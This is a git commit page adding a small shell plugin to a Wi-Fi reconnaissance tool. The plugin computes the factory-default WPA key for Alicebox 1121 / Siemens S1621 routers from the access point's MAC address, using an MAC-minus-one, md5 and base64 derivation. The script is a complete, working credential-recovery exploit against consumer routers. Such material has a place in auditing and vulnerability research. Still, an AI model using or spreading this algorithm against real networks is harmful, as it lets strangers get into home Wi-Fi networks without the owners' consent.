summaryrefslogtreecommitdiffstats
path: root/recon/inspector_wifi/plugins/02alice
diff options
context:
space:
mode:
authorlassulus <lass@aidsballs.de>2014-12-23 00:31:47 +0100
committerlassulus <lass@aidsballs.de>2014-12-23 00:31:47 +0100
commite265640b3427bb8083bc3d28ea58c71d54f895f9 (patch)
tree1af66093efebf3f2eb8679dd84a9258484f0af46 /recon/inspector_wifi/plugins/02alice
parent004e3ad3efb6e4bc19604467f4da8b03b28dbbbe (diff)
wifi_inspector is really inspector_wifi
Diffstat (limited to 'recon/inspector_wifi/plugins/02alice')
-rwxr-xr-xrecon/inspector_wifi/plugins/02alice20
1 files changed, 20 insertions, 0 deletions
diff --git a/recon/inspector_wifi/plugins/02alice b/recon/inspector_wifi/plugins/02alice
new file mode 100755
index 00000000..65ab34b1
--- /dev/null
+++ b/recon/inspector_wifi/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from
+# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) )
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0